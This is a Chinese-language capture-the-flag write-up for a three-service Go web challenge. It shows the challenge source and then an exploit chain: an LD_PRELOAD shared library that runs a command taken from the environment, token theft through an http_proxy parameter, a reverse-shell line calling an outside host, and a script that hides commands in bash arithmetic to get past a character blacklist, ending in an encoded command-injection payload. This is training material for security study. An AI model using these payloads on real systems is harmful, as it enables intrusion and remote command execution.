题目是给了源码,我们先来看web的main.go
package mainimport ("bytes""crypto/md5""encoding/json""fmt""io""io/ioutil""log""math/rand""net/http""os""os/exec""path/filepath""strings"
)var SecretKey = ""type TokenResult struct {Success string `json:"success"`Failed string `json:"failed"`
}const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {b := make([]byte, n)for i := range b {b[i] = letterBytes[rand.Intn(len(letterBytes))]}return string(b)
}func getToken(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}r.Header.Set("Fromhost", fromHost)command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")for k, _ := range values {command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))}outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()//res := "ERROR"if err != nil {fmt.Println(err.Error())}res := TokenResult{}if err = command.Wait(); err != nil {res.Failed = outerr.String()}res.Success = outinfo.String()msg, _ := json.Marshal(res)w.Write(msg)}type ListFileResult struct {Files []string `json:"files"`
}// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}// 验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)files, err := ioutil.ReadDir(dir)if err == nil {var fs []stringfor _, f := range files {fs = append(fs, f.Name())}msg, _ := json.Marshal(ListFileResult{Files: fs})w.Write(msg)}}}type UploadFileResult struct {Code string `json:"code"`
}func uploadFile(w http.ResponseWriter, r *http.Request) {if r.Method == "GET" {fmt.Fprintf(w, "get")} else {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}//验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)if _, err := os.Stat(dir); err != nil {os.MkdirAll(dir, 0766)}files, err := ioutil.ReadDir(dir)if len(files) > 5 {command := exec.Command("curl", "127.0.0.1:9091/manage")command.Start()}r.ParseMultipartForm(32 << 20)file, _, err := r.FormFile("file")if err != nil {msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})w.Write(msg)return}defer file.Close()fileName := RandStringBytes(5)f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)msg, _ := json.Marshal(UploadFileResult{Code: fileName})w.Write(msg)} else {msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})w.Write(msg)}}
}func checkToken(token, ip string) bool {data := []byte(SecretKey + ip)has := md5.Sum(data)md5str := fmt.Sprintf("%x", has)return md5str == token
}func IndexHandler (w http.ResponseWriter, r *http.Request) {http.ServeFile(w, r,"dist/index.html")
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", IndexHandler)fs := http.FileServer(http.Dir("dist/static"))http.Handle("/static/", http.StripPrefix("/static/", fs))http.HandleFunc("/token", getToken)http.HandleFunc("/upload", uploadFile)http.HandleFunc("/list", listFile)log.Print("start listen 9090")err = http.ListenAndServe(":9090", nil)if err != nil {log.Fatal("ListenAndServe: ", err)}
}
我们按照main主函数分析
/token
路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80
这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091
发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量/upload
路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名
,文件名是由RandStringBytes函数生成五位随机字符/list
路由下调用listFile函数,根据传参的token值进行验证并列出上传文件
看proxy的main.go,开放在 8080 端口
package mainimport ("github.com/elazarl/goproxy""io/ioutil""log""net/http""os"
)func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey := string(content)proxy := goproxy.NewProxyHttpServer()proxy.Verbose = trueproxy.OnRequest().DoFunc(func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {r.Header.Set("Secretkey",SecretKey)return r,nil})log.Print("start listen 8080")log.Fatal(http.ListenAndServe(":8080", proxy))
}
继续分析server的main.go
package mainimport ("bytes""crypto/md5""fmt""io/ioutil""log""net/http""os""os/exec""unicode"
)// 检查来源ip为本地才继续执行var SecretKey = ""func getToken(w http.ResponseWriter, r *http.Request) {header := r.Headertoken := "error"var sks []string = header["Secretkey"]sk := ""if len(sks) == 1 {sk = sks[0]}var fromHosts []string = header["Fromhost"]fromHost := ""if len(fromHosts) == 1 {fromHost = fromHosts[0]}if fromHost != "" && sk != "" && sk == SecretKey {data := []byte(sk + fromHost)has := md5.Sum(data)token = fmt.Sprintf("%x", has)}fmt.Fprintf(w, token)
}func manage(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()m := values.Get("m")if !waf(m) {fmt.Fprintf(w, "waf!")return}cmd := fmt.Sprintf("rm -rf uploads/%s", m)fmt.Println(cmd)command := exec.Command("bash", "-c", cmd)outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()res := "ERROR"if err != nil {fmt.Println(err.Error())}if err = command.Wait(); err != nil {res = outerr.String()} else {res = outinfo.String()}fmt.Fprintf(w, res)
}func waf(c string) bool {var t int32t = 0blacklist := []string{".", "*", "?"}for _, s := range c {for _, b := range blacklist {if b == string(s) {return false}}if unicode.IsLetter(s) {if t == s {continue}if t == 0 {t = s} else {return false}}}return true
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", getToken) //设置访问的路由http.HandleFunc("/manage", manage) //设置访问的路由log.Print("start listen 9091")err = http.ListenAndServe(":9091", nil) //设置监听的端口if err != nil {log.Fatal("ListenAndServe: ", err)}
}
/
路由下调用getToken函数,检查来源ip为本地才继续执行/manage
路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?
,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/
拼接赋值给cmd也就是要执行的命令,然后bash执行
代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage
路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");const char* cmd = getenv("CMD");system(cmd);
}
gcc进行编译
gcc -shared -fPIC 1.c -o 1.so
上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
所以我们上传后,payload如下
/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)
我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage
命令执行即可
将bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'
url编码一下,反弹shell
绕过waf的脚本如下
import sys
from urllib.parse import quote# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:a = sys.argv[1]out = r"${!#}<<<{"for c in "bash -c ":if c == ' ':out += ','continueout += r"\$\'\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"out += r"\'"out += r"\$\'"
for c in a:out += r"\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"
out += r"\'"out += "}"
print('out =', out)
print('quote(out) =', quote(out))
m是会与前面rm命令拼接,所以用分号;
隔开,构造;cat /flag
然后分号编码一下为%3b
,payload如下
curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D
得到flag